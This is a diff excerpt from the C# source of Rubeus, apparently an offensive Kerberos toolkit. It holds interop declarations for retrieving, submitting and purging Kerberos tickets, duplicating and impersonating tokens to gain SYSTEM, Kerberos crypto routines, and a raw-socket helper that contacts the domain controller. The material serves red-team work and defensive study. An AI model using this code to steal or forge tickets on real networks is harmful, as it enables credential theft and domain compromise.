/// The buffer receives a TOKEN_ELEVATION_TYPE value that specifies the elevation level of the token.
|
||||||
|
/// </summary>
|
||||||
|
TokenElevationType,
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// The buffer receives a TOKEN_LINKED_TOKEN structure that contains a handle to another token that is linked to this token.
|
||||||
|
/// </summary>
|
||||||
|
TokenLinkedToken,
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// The buffer receives a TOKEN_ELEVATION structure that specifies whether the token is elevated.
|
||||||
|
/// </summary>
|
||||||
|
TokenElevation,
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// The buffer receives a DWORD value that is nonzero if the token has ever been filtered.
|
||||||
|
/// </summary>
|
||||||
|
TokenHasRestrictions,
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// The buffer receives a TOKEN_ACCESS_INFORMATION structure that specifies security information contained in the token.
|
||||||
|
/// </summary>
|
||||||
|
TokenAccessInformation,
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// The buffer receives a DWORD value that is nonzero if virtualization is allowed for the token.
|
||||||
|
/// </summary>
|
||||||
|
TokenVirtualizationAllowed,
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// The buffer receives a DWORD value that is nonzero if virtualization is enabled for the token.
|
||||||
|
/// </summary>
|
||||||
|
TokenVirtualizationEnabled,
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// The buffer receives a TOKEN_MANDATORY_LABEL structure that specifies the token's integrity level.
|
||||||
|
/// </summary>
|
||||||
|
TokenIntegrityLevel,
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// The buffer receives a DWORD value that is nonzero if the token has the UIAccess flag set.
|
||||||
|
/// </summary>
|
||||||
|
TokenUIAccess,
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// The buffer receives a TOKEN_MANDATORY_POLICY structure that specifies the token's mandatory integrity policy.
|
||||||
|
/// </summary>
|
||||||
|
TokenMandatoryPolicy,
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// The buffer receives the token's logon security identifier (SID).
|
||||||
|
/// </summary>
|
||||||
|
TokenLogonSid,
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// The maximum value for this enumeration
|
||||||
|
/// </summary>
|
||||||
|
MaxTokenInfoClass
|
||||||
|
}
|
||||||
|
|
||||||
|
[Flags]
|
||||||
|
public enum KERB_CACHE_OPTIONS : UInt64
|
||||||
|
{
|
||||||
|
KERB_RETRIEVE_TICKET_DEFAULT = 0x0,
|
||||||
|
KERB_RETRIEVE_TICKET_DONT_USE_CACHE = 0x1,
|
||||||
|
KERB_RETRIEVE_TICKET_USE_CACHE_ONLY = 0x2,
|
||||||
|
KERB_RETRIEVE_TICKET_USE_CREDHANDLE = 0x4,
|
||||||
|
KERB_RETRIEVE_TICKET_AS_KERB_CRED = 0x8,
|
||||||
|
KERB_RETRIEVE_TICKET_WITH_SEC_CRED = 0x10,
|
||||||
|
KERB_RETRIEVE_TICKET_CACHE_TICKET = 0x20,
|
||||||
|
KERB_RETRIEVE_TICKET_MAX_LIFETIME = 0x40,
|
||||||
|
}
|
||||||
|
|
||||||
|
public enum KERB_PROTOCOL_MESSAGE_TYPE : UInt32
|
||||||
|
{
|
||||||
|
KerbDebugRequestMessage = 0,
|
||||||
|
KerbQueryTicketCacheMessage = 1,
|
||||||
|
KerbChangeMachinePasswordMessage = 2,
|
||||||
|
KerbVerifyPacMessage = 3,
|
||||||
|
KerbRetrieveTicketMessage = 4,
|
||||||
|
KerbUpdateAddressesMessage = 5,
|
||||||
|
KerbPurgeTicketCacheMessage = 6,
|
||||||
|
KerbChangePasswordMessage = 7,
|
||||||
|
KerbRetrieveEncodedTicketMessage = 8,
|
||||||
|
KerbDecryptDataMessage = 9,
|
||||||
|
KerbAddBindingCacheEntryMessage = 10,
|
||||||
|
KerbSetPasswordMessage = 11,
|
||||||
|
KerbSetPasswordExMessage = 12,
|
||||||
|
KerbVerifyCredentialsMessage = 13,
|
||||||
|
KerbQueryTicketCacheExMessage = 14,
|
||||||
|
KerbPurgeTicketCacheExMessage = 15,
|
||||||
|
KerbRefreshSmartcardCredentialsMessage = 16,
|
||||||
|
KerbAddExtraCredentialsMessage = 17,
|
||||||
|
KerbQuerySupplementalCredentialsMessage = 18,
|
||||||
|
KerbTransferCredentialsMessage = 19,
|
||||||
|
KerbQueryTicketCacheEx2Message = 20,
|
||||||
|
KerbSubmitTicketMessage = 21,
|
||||||
|
KerbAddExtraCredentialsExMessage = 22,
|
||||||
|
KerbQueryKdcProxyCacheMessage = 23,
|
||||||
|
KerbPurgeKdcProxyCacheMessage = 24,
|
||||||
|
KerbQueryTicketCacheEx3Message = 25,
|
||||||
|
KerbCleanupMachinePkinitCredsMessage = 26,
|
||||||
|
KerbAddBindingCacheEntryExMessage = 27,
|
||||||
|
KerbQueryBindingCacheMessage = 28,
|
||||||
|
KerbPurgeBindingCacheMessage = 29,
|
||||||
|
KerbQueryDomainExtendedPoliciesMessage = 30,
|
||||||
|
KerbQueryS4U2ProxyCacheMessage = 31
|
||||||
|
}
|
||||||
|
|
||||||
|
public enum SECURITY_LOGON_TYPE : uint
|
||||||
|
{
|
||||||
|
Interactive = 2, // logging on interactively.
|
||||||
|
Network, // logging using a network.
|
||||||
|
Batch, // logon for a batch process.
|
||||||
|
Service, // logon for a service account.
|
||||||
|
Proxy, // Not supported.
|
||||||
|
Unlock, // Tattempt to unlock a workstation.
|
||||||
|
NetworkCleartext, // network logon with cleartext credentials
|
||||||
|
NewCredentials, // caller can clone its current token and specify new credentials for outbound connections
|
||||||
|
RemoteInteractive, // terminal server session that is both remote and interactive
|
||||||
|
CachedInteractive, // attempt to use the cached credentials without going out across the network
|
||||||
|
CachedRemoteInteractive,// same as RemoteInteractive, except used internally for auditing purposes
|
||||||
|
CachedUnlock // attempt to unlock a workstation
|
||||||
|
}
|
||||||
|
|
||||||
|
public enum LOGON_PROVIDER
|
||||||
|
{
|
||||||
|
LOGON32_PROVIDER_DEFAULT,
|
||||||
|
LOGON32_PROVIDER_WINNT35,
|
||||||
|
LOGON32_PROVIDER_WINNT40,
|
||||||
|
LOGON32_PROVIDER_WINNT50
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
// structs
|
||||||
|
|
||||||
|
// From Vincent LE TOUX' "MakeMeEnterpriseAdmin"
|
||||||
|
// https://github.com/vletoux/MakeMeEnterpriseAdmin/blob/master/MakeMeEnterpriseAdmin.ps1#L1773-L1794
|
||||||
|
[StructLayout(LayoutKind.Sequential)]
|
||||||
|
public struct KERB_ECRYPT
|
||||||
|
{
|
||||||
|
int Type0;
|
||||||
|
public int BlockSize;
|
||||||
|
int Type1;
|
||||||
|
public int KeySize;
|
||||||
|
public int Size;
|
||||||
|
int unk2;
|
||||||
|
int unk3;
|
||||||
|
public IntPtr AlgName;
|
||||||
|
public IntPtr Initialize;
|
||||||
|
public IntPtr Encrypt;
|
||||||
|
public IntPtr Decrypt;
|
||||||
|
public IntPtr Finish;
|
||||||
|
IntPtr HashPassword;
|
||||||
|
IntPtr RandomKey;
|
||||||
|
IntPtr Control;
|
||||||
|
IntPtr unk0_null;
|
||||||
|
IntPtr unk1_null;
|
||||||
|
IntPtr unk2_null;
|
||||||
|
}
|
||||||
|
|
||||||
|
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
|
||||||
|
public struct DOMAIN_CONTROLLER_INFO
|
||||||
|
{
|
||||||
|
[MarshalAs(UnmanagedType.LPTStr)]
|
||||||
|
public string DomainControllerName;
|
||||||
|
[MarshalAs(UnmanagedType.LPTStr)]
|
||||||
|
public string DomainControllerAddress;
|
||||||
|
public uint DomainControllerAddressType;
|
||||||
|
public Guid DomainGuid;
|
||||||
|
[MarshalAs(UnmanagedType.LPTStr)]
|
||||||
|
public string DomainName;
|
||||||
|
[MarshalAs(UnmanagedType.LPTStr)]
|
||||||
|
public string DnsForestName;
|
||||||
|
public uint Flags;
|
||||||
|
[MarshalAs(UnmanagedType.LPTStr)]
|
||||||
|
public string DcSiteName;
|
||||||
|
[MarshalAs(UnmanagedType.LPTStr)]
|
||||||
|
public string ClientSiteName;
|
||||||
|
}
|
||||||
|
|
||||||
|
public struct SYSTEMTIME
|
||||||
|
{
|
||||||
|
public ushort wYear, wMonth, wDayOfWeek, wDay,
|
||||||
|
wHour, wMinute, wSecond, wMilliseconds;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
// LSA structures
|
||||||
|
|
||||||
|
[StructLayout(LayoutKind.Sequential)]
|
||||||
|
public struct KERB_SUBMIT_TKT_REQUEST
|
||||||
|
{
|
||||||
|
public KERB_PROTOCOL_MESSAGE_TYPE MessageType;
|
||||||
|
public LUID LogonId;
|
||||||
|
public int Flags;
|
||||||
|
public KERB_CRYPTO_KEY32 Key; // key to decrypt KERB_CRED
|
||||||
|
public int KerbCredSize;
|
||||||
|
public int KerbCredOffset;
|
||||||
|
}
|
||||||
|
|
||||||
|
[StructLayout(LayoutKind.Sequential)]
|
||||||
|
public struct KERB_PURGE_TKT_CACHE_REQUEST
|
||||||
|
{
|
||||||
|
public KERB_PROTOCOL_MESSAGE_TYPE MessageType;
|
||||||
|
public LUID LogonId;
|
||||||
|
LSA_STRING_IN ServerName;
|
||||||
|
LSA_STRING_IN RealmName;
|
||||||
|
}
|
||||||
|
|
||||||
|
[StructLayout(LayoutKind.Sequential)]
|
||||||
|
public struct KERB_CRYPTO_KEY32
|
||||||
|
{
|
||||||
|
public int KeyType;
|
||||||
|
public int Length;
|
||||||
|
public int Offset;
|
||||||
|
}
|
||||||
|
|
||||||
|
[StructLayout(LayoutKind.Sequential)]
|
||||||
|
public struct LUID
|
||||||
|
{
|
||||||
|
public uint LowPart;
|
||||||
|
public int HighPart;
|
||||||
|
}
|
||||||
|
|
||||||
|
[StructLayout(LayoutKind.Sequential)]
|
||||||
|
public struct SECURITY_HANDLE
|
||||||
|
{
|
||||||
|
public IntPtr LowPart;
|
||||||
|
public IntPtr HighPart;
|
||||||
|
public SECURITY_HANDLE(int dummy)
|
||||||
|
{
|
||||||
|
LowPart = HighPart = IntPtr.Zero;
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
[StructLayout(LayoutKind.Sequential)]
|
||||||
|
public struct LSA_STRING_IN
|
||||||
|
{
|
||||||
|
public UInt16 Length;
|
||||||
|
public UInt16 MaximumLength;
|
||||||
|
public string Buffer;
|
||||||
|
}
|
||||||
|
|
||||||
|
[StructLayout(LayoutKind.Sequential)]
|
||||||
|
public struct LSA_STRING_OUT
|
||||||
|
{
|
||||||
|
public UInt16 Length;
|
||||||
|
public UInt16 MaximumLength;
|
||||||
|
public IntPtr Buffer;
|
||||||
|
}
|
||||||
|
|
||||||
|
[StructLayout(LayoutKind.Sequential)]
|
||||||
|
public struct LSA_STRING
|
||||||
|
{
|
||||||
|
public UInt16 Length;
|
||||||
|
public UInt16 MaximumLength;
|
||||||
|
public String Buffer;
|
||||||
|
}
|
||||||
|
|
||||||
|
[StructLayout(LayoutKind.Sequential)]
|
||||||
|
public struct UNICODE_STRING : IDisposable
|
||||||
|
{
|
||||||
|
public ushort Length;
|
||||||
|
public ushort MaximumLength;
|
||||||
|
public IntPtr buffer;
|
||||||
|
|
||||||
|
public UNICODE_STRING(string s)
|
||||||
|
{
|
||||||
|
Length = (ushort)(s.Length * 2);
|
||||||
|
MaximumLength = (ushort)(Length + 2);
|
||||||
|
buffer = Marshal.StringToHGlobalUni(s);
|
||||||
|
}
|
||||||
|
|
||||||
|
public void Dispose()
|
||||||
|
{
|
||||||
|
Marshal.FreeHGlobal(buffer);
|
||||||
|
buffer = IntPtr.Zero;
|
||||||
|
}
|
||||||
|
|
||||||
|
public override string ToString()
|
||||||
|
{
|
||||||
|
return Marshal.PtrToStringUni(buffer);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
[StructLayout(LayoutKind.Sequential)]
|
||||||
|
public struct KERB_RETRIEVE_TKT_RESPONSE
|
||||||
|
{
|
||||||
|
public KERB_EXTERNAL_TICKET Ticket;
|
||||||
|
}
|
||||||
|
|
||||||
|
[StructLayout(LayoutKind.Sequential)]
|
||||||
|
public struct KERB_EXTERNAL_TICKET
|
||||||
|
{
|
||||||
|
public IntPtr ServiceName;
|
||||||
|
public IntPtr TargetName;
|
||||||
|
public IntPtr ClientName;
|
||||||
|
public LSA_STRING_OUT DomainName;
|
||||||
|
public LSA_STRING_OUT TargetDomainName;
|
||||||
|
public LSA_STRING_OUT AltTargetDomainName;
|
||||||
|
public KERB_CRYPTO_KEY SessionKey;
|
||||||
|
public UInt32 TicketFlags;
|
||||||
|
public UInt32 Flags;
|
||||||
|
public Int64 KeyExpirationTime;
|
||||||
|
public Int64 StartTime;
|
||||||
|
public Int64 EndTime;
|
||||||
|
public Int64 RenewUntil;
|
||||||
|
public Int64 TimeSkew;
|
||||||
|
public Int32 EncodedTicketSize;
|
||||||
|
public IntPtr EncodedTicket;
|
||||||
|
}
|
||||||
|
|
||||||
|
[StructLayout(LayoutKind.Sequential)]
|
||||||
|
public struct KERB_CRYPTO_KEY
|
||||||
|
{
|
||||||
|
public Int32 KeyType;
|
||||||
|
public Int32 Length;
|
||||||
|
public IntPtr Value;
|
||||||
|
}
|
||||||
|
|
||||||
|
[StructLayout(LayoutKind.Sequential)]
|
||||||
|
public struct KERB_RETRIEVE_TKT_REQUEST
|
||||||
|
{
|
||||||
|
public KERB_PROTOCOL_MESSAGE_TYPE MessageType;
|
||||||
|
public LUID LogonId;
|
||||||
|
public UNICODE_STRING TargetName;
|
||||||
|
public UInt32 TicketFlags;
|
||||||
|
public UInt32 CacheOptions;
|
||||||
|
public Int32 EncryptionType;
|
||||||
|
public SECURITY_HANDLE CredentialsHandle;
|
||||||
|
}
|
||||||
|
|
||||||
|
[StructLayout(LayoutKind.Sequential)]
|
||||||
|
public struct KERB_QUERY_TKT_CACHE_REQUEST
|
||||||
|
{
|
||||||
|
public KERB_PROTOCOL_MESSAGE_TYPE MessageType;
|
||||||
|
public LUID LogonId;
|
||||||
|
}
|
||||||
|
|
||||||
|
[StructLayout(LayoutKind.Sequential)]
|
||||||
|
public struct KERB_QUERY_TKT_CACHE_RESPONSE
|
||||||
|
{
|
||||||
|
public KERB_PROTOCOL_MESSAGE_TYPE MessageType;
|
||||||
|
public int CountOfTickets;
|
||||||
|
// public KERB_TICKET_CACHE_INFO[] Tickets;
|
||||||
|
public IntPtr Tickets;
|
||||||
|
}
|
||||||
|
|
||||||
|
[StructLayout(LayoutKind.Sequential)]
|
||||||
|
public struct KERB_TICKET_CACHE_INFO
|
||||||
|
{
|
||||||
|
public LSA_STRING_OUT ServerName;
|
||||||
|
public LSA_STRING_OUT RealmName;
|
||||||
|
public Int64 StartTime;
|
||||||
|
public Int64 EndTime;
|
||||||
|
public Int64 RenewTime;
|
||||||
|
public Int32 EncryptionType;
|
||||||
|
public UInt32 TicketFlags;
|
||||||
|
}
|
||||||
|
|
||||||
|
[StructLayout(LayoutKind.Sequential)]
|
||||||
|
public struct KERB_EXTERNAL_NAME
|
||||||
|
{
|
||||||
|
public Int16 NameType;
|
||||||
|
public UInt16 NameCount;
|
||||||
|
public LSA_STRING_OUT Names;
|
||||||
|
}
|
||||||
|
|
||||||
|
[StructLayout(LayoutKind.Sequential)]
|
||||||
|
public struct SECURITY_LOGON_SESSION_DATA
|
||||||
|
{
|
||||||
|
public UInt32 Size;
|
||||||
|
public LUID LoginID;
|
||||||
|
public LSA_STRING_OUT Username;
|
||||||
|
public LSA_STRING_OUT LoginDomain;
|
||||||
|
public LSA_STRING_OUT AuthenticationPackage;
|
||||||
|
public UInt32 LogonType;
|
||||||
|
public UInt32 Session;
|
||||||
|
public IntPtr PSiD;
|
||||||
|
public UInt64 LoginTime;
|
||||||
|
public LSA_STRING_OUT LogonServer;
|
||||||
|
public LSA_STRING_OUT DnsDomainName;
|
||||||
|
public LSA_STRING_OUT Upn;
|
||||||
|
}
|
||||||
|
|
||||||
|
[StructLayout(LayoutKind.Sequential)]
|
||||||
|
public struct SECURITY_ATTRIBUTES
|
||||||
|
{
|
||||||
|
public int Length;
|
||||||
|
public IntPtr lpSecurityDescriptor;
|
||||||
|
public bool bInheritHandle;
|
||||||
|
}
|
||||||
|
|
||||||
|
[StructLayout(LayoutKind.Sequential)]
|
||||||
|
public struct PROCESS_INFORMATION
|
||||||
|
{
|
||||||
|
public IntPtr hProcess;
|
||||||
|
public IntPtr hThread;
|
||||||
|
public int dwProcessId;
|
||||||
|
public int dwThreadId;
|
||||||
|
}
|
||||||
|
|
||||||
|
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
|
||||||
|
public struct STARTUPINFO
|
||||||
|
{
|
||||||
|
public Int32 cb;
|
||||||
|
public string lpReserved;
|
||||||
|
public string lpDesktop;
|
||||||
|
public string lpTitle;
|
||||||
|
public Int32 dwX;
|
||||||
|
public Int32 dwY;
|
||||||
|
public Int32 dwXSize;
|
||||||
|
public Int32 dwYSize;
|
||||||
|
public Int32 dwXCountChars;
|
||||||
|
public Int32 dwYCountChars;
|
||||||
|
public Int32 dwFillAttribute;
|
||||||
|
public Int32 dwFlags;
|
||||||
|
public Int16 wShowWindow;
|
||||||
|
public Int16 cbReserved2;
|
||||||
|
public IntPtr lpReserved2;
|
||||||
|
public IntPtr hStdInput;
|
||||||
|
public IntPtr hStdOutput;
|
||||||
|
public IntPtr hStdError;
|
||||||
|
}
|
||||||
|
|
||||||
|
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
|
||||||
|
public struct TOKEN_STATISTICS
|
||||||
|
{
|
||||||
|
public LUID TokenId;
|
||||||
|
public LUID AuthenticationId;
|
||||||
|
public long ExpirationTime;
|
||||||
|
public uint TokenType;
|
||||||
|
public uint ImpersonationLevel;
|
||||||
|
public uint DynamicCharged;
|
||||||
|
public uint DynamicAvailable;
|
||||||
|
public uint GroupCount;
|
||||||
|
public uint PrivilegeCount;
|
||||||
|
public LUID ModifiedId;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
// functions
|
||||||
|
// Adapted from Vincent LE TOUX' "MakeMeEnterpriseAdmin"
|
||||||
|
[DllImport("cryptdll.Dll", CharSet = CharSet.Auto, SetLastError = false)]
|
||||||
|
public static extern int CDLocateCSystem(KERB_ETYPE type, out IntPtr pCheckSum);
|
||||||
|
|
||||||
|
[DllImport("cryptdll.Dll", CharSet = CharSet.Auto, SetLastError = false)]
|
||||||
|
public static extern int CDLocateCheckSum(KERB_CHECKSUM_ALGORITHM type, out IntPtr pCheckSum);
|
||||||
|
|
||||||
|
// https://github.com/vletoux/MakeMeEnterpriseAdmin/blob/master/MakeMeEnterpriseAdmin.ps1#L1753-L1767
|
||||||
|
public delegate int KERB_ECRYPT_Initialize(byte[] Key, int KeySize, int KeyUsage, out IntPtr pContext);
|
||||||
|
public delegate int KERB_ECRYPT_Encrypt(IntPtr pContext, byte[] data, int dataSize, byte[] output, ref int outputSize);
|
||||||
|
public delegate int KERB_ECRYPT_Decrypt(IntPtr pContext, byte[] data, int dataSize, byte[] output, ref int outputSize);
|
||||||
|
public delegate int KERB_ECRYPT_Finish(ref IntPtr pContext);
|
||||||
|
|
||||||
|
//https://github.com/vletoux/MakeMeEnterpriseAdmin/blob/master/MakeMeEnterpriseAdmin.ps1#L1760-L1767
|
||||||
|
public delegate int KERB_CHECKSUM_Initialize(int unk0, out IntPtr pContext);
|
||||||
|
public delegate int KERB_CHECKSUM_Sum(IntPtr pContext, int Size, byte[] Buffer);
|
||||||
|
public delegate int KERB_CHECKSUM_Finalize(IntPtr pContext, byte[] Buffer);
|
||||||
|
public delegate int KERB_CHECKSUM_Finish(ref IntPtr pContext);
|
||||||
|
public delegate int KERB_CHECKSUM_InitializeEx(byte[] Key, int KeySize, int KeyUsage, out IntPtr pContext);
|
||||||
|
|
||||||
|
|
||||||
|
[DllImport("Netapi32.dll", CharSet = CharSet.Auto, SetLastError = true)]
|
||||||
|
public static extern int DsGetDcName(
|
||||||
|
[MarshalAs(UnmanagedType.LPTStr)] string ComputerName,
|
||||||
|
[MarshalAs(UnmanagedType.LPTStr)] string DomainName,
|
||||||
|
[In] int DomainGuid,
|
||||||
|
[MarshalAs(UnmanagedType.LPTStr)] string SiteName,
|
||||||
|
[MarshalAs(UnmanagedType.U4)] DSGETDCNAME_FLAGS flags,
|
||||||
|
out IntPtr pDOMAIN_CONTROLLER_INFO);
|
||||||
|
|
||||||
|
[DllImport("Netapi32.dll", SetLastError = true)]
|
||||||
|
public static extern int NetApiBufferFree(IntPtr Buffer);
|
||||||
|
|
||||||
|
[DllImport("kernel32.dll")]
|
||||||
|
public extern static void GetSystemTime(ref SYSTEMTIME lpSystemTime);
|
||||||
|
|
||||||
|
// LSA functions
|
||||||
|
|
||||||
|
[DllImport("secur32.dll", SetLastError = false)]
|
||||||
|
public static extern int LsaConnectUntrusted(
|
||||||
|
[Out] out IntPtr LsaHandle
|
||||||
|
);
|
||||||
|
|
||||||
|
[DllImport("secur32.dll", SetLastError = false)]
|
||||||
|
public static extern int LsaLookupAuthenticationPackage(
|
||||||
|
[In] IntPtr LsaHandle,
|
||||||
|
[In] ref LSA_STRING_IN PackageName,
|
||||||
|
[Out] out int AuthenticationPackage
|
||||||
|
);
|
||||||
|
|
||||||
|
[DllImport("kernel32.dll")]
|
||||||
|
public static extern IntPtr LocalAlloc(
|
||||||
|
uint uFlags,
|
||||||
|
uint uBytes
|
||||||
|
);
|
||||||
|
|
||||||
|
[DllImport("advapi32.dll", SetLastError = true)]
|
||||||
|
public static extern uint LsaNtStatusToWinError(
|
||||||
|
uint status
|
||||||
|
);
|
||||||
|
|
||||||
|
[DllImport("advapi32.dll", SetLastError = true, PreserveSig = true)]
|
||||||
|
public static extern uint LsaFreeMemory(
|
||||||
|
IntPtr buffer
|
||||||
|
);
|
||||||
|
|
||||||
|
[DllImport("kernel32.dll", EntryPoint = "CopyMemory", SetLastError = false)]
|
||||||
|
public static extern void CopyMemory(
|
||||||
|
IntPtr dest,
|
||||||
|
IntPtr src,
|
||||||
|
uint count
|
||||||
|
);
|
||||||
|
|
||||||
|
[DllImport("secur32.dll", SetLastError = false)]
|
||||||
|
public static extern int LsaCallAuthenticationPackage(
|
||||||
|
IntPtr LsaHandle,
|
||||||
|
int AuthenticationPackage,
|
||||||
|
IntPtr ProtocolSubmitBuffer,
|
||||||
|
int SubmitBufferLength,
|
||||||
|
out IntPtr ProtocolReturnBuffer,
|
||||||
|
out int ReturnBufferLength,
|
||||||
|
out int ProtocolStatus
|
||||||
|
);
|
||||||
|
|
||||||
|
[DllImport("secur32.dll", SetLastError = false)]
|
||||||
|
public static extern int LsaDeregisterLogonProcess(
|
||||||
|
[In] IntPtr LsaHandle
|
||||||
|
);
|
||||||
|
|
||||||
|
[DllImport("secur32.dll", SetLastError = true)]
|
||||||
|
public static extern int LsaRegisterLogonProcess(
|
||||||
|
LSA_STRING_IN LogonProcessName,
|
||||||
|
out IntPtr LsaHandle,
|
||||||
|
out ulong SecurityMode
|
||||||
|
);
|
||||||
|
|
||||||
|
// for GetSystem()
|
||||||
|
[DllImport("advapi32.dll", SetLastError = true)]
|
||||||
|
[return: MarshalAs(UnmanagedType.Bool)]
|
||||||
|
public static extern bool OpenProcessToken(
|
||||||
|
IntPtr ProcessHandle,
|
||||||
|
UInt32 DesiredAccess,
|
||||||
|
out IntPtr TokenHandle);
|
||||||
|
|
||||||
|
[DllImport("advapi32.dll")]
|
||||||
|
public static extern bool DuplicateToken(
|
||||||
|
IntPtr ExistingTokenHandle,
|
||||||
|
int SECURITY_IMPERSONATION_LEVEL,
|
||||||
|
ref IntPtr DuplicateTokenHandle);
|
||||||
|
|
||||||
|
[DllImport("advapi32.dll", SetLastError = true)]
|
||||||
|
public static extern bool ImpersonateLoggedOnUser(
|
||||||
|
IntPtr hToken);
|
||||||
|
|
||||||
|
[DllImport("advapi32.dll", SetLastError = true)]
|
||||||
|
public static extern bool RevertToSelf();
|
||||||
|
|
||||||
|
//[DllImport("advapi32.dll", SetLastError = true)]
|
||||||
|
//public static extern bool LogonUser(
|
||||||
|
// string pszUsername,
|
||||||
|
// string pszDomain,
|
||||||
|
// string pszPassword,
|
||||||
|
// int dwLogonType,
|
||||||
|
// int dwLogonProvider,
|
||||||
|
// ref IntPtr phToken);
|
||||||
|
|
||||||
|
[DllImport("kernel32.dll")]
|
||||||
|
public static extern uint GetLastError();
|
||||||
|
|
||||||
|
[DllImport("advapi32.dll", SetLastError = true)]
|
||||||
|
public static extern bool GetTokenInformation(
|
||||||
|
IntPtr TokenHandle,
|
||||||
|
TOKEN_INFORMATION_CLASS TokenInformationClass,
|
||||||
|
IntPtr TokenInformation,
|
||||||
|
int TokenInformationLength,
|
||||||
|
out int ReturnLength);
|
||||||
|
|
||||||
|
//[DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Auto)]
|
||||||
|
//public static extern bool CreateProcessAsUser(
|
||||||
|
// IntPtr hToken,
|
||||||
|
// string lpApplicationName,
|
||||||
|
// string lpCommandLine,
|
||||||
|
// ref SECURITY_ATTRIBUTES lpProcessAttributes,
|
||||||
|
// ref SECURITY_ATTRIBUTES lpThreadAttributes,
|
||||||
|
// bool bInheritHandles,
|
||||||
|
// uint dwCreationFlags,
|
||||||
|
// IntPtr lpEnvironment,
|
||||||
|
// string lpCurrentDirectory,
|
||||||
|
// ref STARTUPINFO lpStartupInfo,
|
||||||
|
// out PROCESS_INFORMATION lpProcessInformation);
|
||||||
|
|
||||||
|
[DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
|
||||||
|
public static extern bool CreateProcessWithLogonW(
|
||||||
|
String userName,
|
||||||
|
String domain,
|
||||||
|
String password,
|
||||||
|
UInt32 logonFlags,
|
||||||
|
String applicationName,
|
||||||
|
String commandLine,
|
||||||
|
UInt32 creationFlags,
|
||||||
|
UInt32 environment,
|
||||||
|
String currentDirectory,
|
||||||
|
ref STARTUPINFO startupInfo,
|
||||||
|
out PROCESS_INFORMATION processInformation);
|
||||||
|
|
||||||
|
[DllImport("kernel32.dll", SetLastError = true)]
|
||||||
|
[return: MarshalAs(UnmanagedType.Bool)]
|
||||||
|
public static extern bool CloseHandle(
|
||||||
|
IntPtr hObject
|
||||||
|
);
|
||||||
|
|
||||||
|
[DllImport("Secur32.dll", SetLastError = false)]
|
||||||
|
public static extern uint LsaEnumerateLogonSessions(
|
||||||
|
out UInt64 LogonSessionCount,
|
||||||
|
out IntPtr LogonSessionList
|
||||||
|
);
|
||||||
|
|
||||||
|
[DllImport("Secur32.dll", SetLastError = false)]
|
||||||
|
public static extern uint LsaGetLogonSessionData(
|
||||||
|
IntPtr luid,
|
||||||
|
out IntPtr ppLogonSessionData
|
||||||
|
);
|
||||||
|
|
||||||
|
[DllImport("secur32.dll", SetLastError = false)]
|
||||||
|
public static extern uint LsaFreeReturnBuffer(
|
||||||
|
IntPtr buffer
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
File diff suppressed because it is too large
Load Diff
|
@ -0,0 +1,87 @@
|
||||||
|
using System;
|
||||||
|
using System.ComponentModel;
|
||||||
|
using System.Linq;
|
||||||
|
using System.Runtime.InteropServices;
|
||||||
|
|
||||||
|
namespace Rubeus
|
||||||
|
{
|
||||||
|
public class Networking
|
||||||
|
{
|
||||||
|
public static string GetDCName()
|
||||||
|
{
|
||||||
|
// retrieves the current domain controller name
|
||||||
|
|
||||||
|
// adapted from https://www.pinvoke.net/default.aspx/netapi32.dsgetdcname
|
||||||
|
Interop.DOMAIN_CONTROLLER_INFO domainInfo;
|
||||||
|
const int ERROR_SUCCESS = 0;
|
||||||
|
IntPtr pDCI = IntPtr.Zero;
|
||||||
|
|
||||||
|
int val = Interop.DsGetDcName("", "", 0, "",
|
||||||
|
Interop.DSGETDCNAME_FLAGS.DS_DIRECTORY_SERVICE_REQUIRED |
|
||||||
|
Interop.DSGETDCNAME_FLAGS.DS_RETURN_DNS_NAME |
|
||||||
|
Interop.DSGETDCNAME_FLAGS.DS_IP_REQUIRED, out pDCI);
|
||||||
|
|
||||||
|
if (ERROR_SUCCESS == val)
|
||||||
|
{
|
||||||
|
domainInfo = (Interop.DOMAIN_CONTROLLER_INFO)Marshal.PtrToStructure(pDCI, typeof(Interop.DOMAIN_CONTROLLER_INFO));
|
||||||
|
string dcName = domainInfo.DomainControllerName;
|
||||||
|
Interop.NetApiBufferFree(pDCI);
|
||||||
|
return dcName.Trim('\\');
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
string errorMessage = new Win32Exception((int)val).Message;
|
||||||
|
Console.WriteLine("\r\n [X] Error {0} retrieving domain controller : {1}", val, errorMessage);
|
||||||
|
Interop.NetApiBufferFree(pDCI);
|
||||||
|
return "";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static byte[] SendBytes(string server, int port, byte[] data)
|
||||||
|
{
|
||||||
|
// send the byte array to the specified server/port
|
||||||
|
|
||||||
|
// TODO: try/catch for IPAddress parse
|
||||||
|
|
||||||
|
Console.WriteLine("[*] Connecting to {0}:{1}", server, port);
|
||||||
|
System.Net.IPEndPoint endPoint = new System.Net.IPEndPoint(System.Net.IPAddress.Parse(server), port);
|
||||||
|
|
||||||
|
System.Net.Sockets.Socket socket = new System.Net.Sockets.Socket(System.Net.Sockets.AddressFamily.InterNetwork, System.Net.Sockets.SocketType.Stream, System.Net.Sockets.ProtocolType.Tcp);
|
||||||
|
socket.Ttl = 128;
|
||||||
|
|
||||||
|
